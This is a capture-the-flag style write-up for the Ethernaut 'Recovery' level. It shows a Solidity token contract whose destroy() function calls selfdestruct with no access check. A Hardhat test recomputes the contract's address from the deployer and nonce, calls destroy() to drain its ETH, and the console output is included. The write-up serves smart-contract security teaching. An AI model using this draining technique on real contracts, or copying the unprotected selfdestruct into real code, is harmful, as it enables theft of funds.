Ethernaut Solutions: 17-Recovery

We need to understand two concepts to be able to solve this challenge:

  1. How the deployment address of contracts are calculated? The address where a contract is deployed is deterministic and can be calculated as: keccak256(rlp_encoding(deployer_address + nonce)). The nonce starts at 0x1 for the first deployment and increments by 1 for each deployment thereafter.
  2. What is selfdestruct(): When called, it deletes the contracts it is contained in and transfers all ETH to the address provided as the argument.

I have provided elaborate comments in solution.js in the hope to make it self-explanatory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Recovery.sol", () => {

    describe("Test run", () => {
        it("should run fine", async () => {

            const [owner] = await ethers.getSigners();
              
            // Deploy an instance of Recovery contract
            const recoveryContract = await ethers.getContractFactory("Recovery")
            const recovery = await recoveryContract.deploy();
            await recovery.deployed();

            // Call generateToken() to deploy an instance of the SimpleToken contract
            await recovery.generateToken("TESTCOIN", 100)
            // Send .001 ETH to this instance of SimpleToken contract
            // 0xa16e02e87b7454126e5e10d957a927a7f5b5d2be is where the SimpleToken was deployed
            await owner.sendTransaction({to: "0xa16e02e87b7454126e5e10d957a927a7f5b5d2be", value: ethers.utils.parseEther(".001")})
            
            // Now let's forget the address where we deployed the SimpleToken contract above
            // Our task is to predict the address where this contract was deployed and then
            // invoke the destroy() to take out all the ETH
            
            // Calculate the address where SimpleToken was determined
            var nonce = "0x01";
            var sender = recovery.address
            var _rlp = ethers.utils.RLP.encode([sender, nonce])
            var result = ethers.utils.solidityKeccak256(["bytes23"], [_rlp])
            var calculatedAddress = "0x" + result.substring(26)
            console.log(calculatedAddress)

            //Check balances before attack
            console.log("Recovery contract balance before attack: ", await ethers.provider.getBalance(recovery.address))
            console.log("SimpleToken contract balance before attack: ", await ethers.provider.getBalance(calculatedAddress))
            
            // Invoke selfdestruct() and send all ether to Recovery contract
            const simpletokenContract = await ethers.getContractFactory("SimpleToken");
            const simpletoken = simpletokenContract.attach(calculatedAddress)
            await simpletoken.destroy(recovery.address);

            //Check balances after attack
            console.log("Recovery contract balance after attack: ", await ethers.provider.getBalance(recovery.address))
            console.log("SimpleToken contract balance after attack: ", await ethers.provider.getBalance(calculatedAddress))
        });
    });
});
Output:
--------

root@ununtu-vm:/home/user/Desktop/hardhat/ethernaut/recovery# npx hardhat test

  Recovery.sol
    Test run
0xa16e02e87b7454126e5e10d957a927a7f5b5d2be
Recovery contract balance before attack:  BigNumber { value: "0" }
SimpleToken contract balance before attack:  BigNumber { value: "1000000000000000" }
Recovery contract balance after attack:  BigNumber { value: "1000000000000000" }
SimpleToken contract balance after attack:  BigNumber { value: "0" }
      ✔ should run fine (1195ms)

  1 passing (1s)

Leave a Comment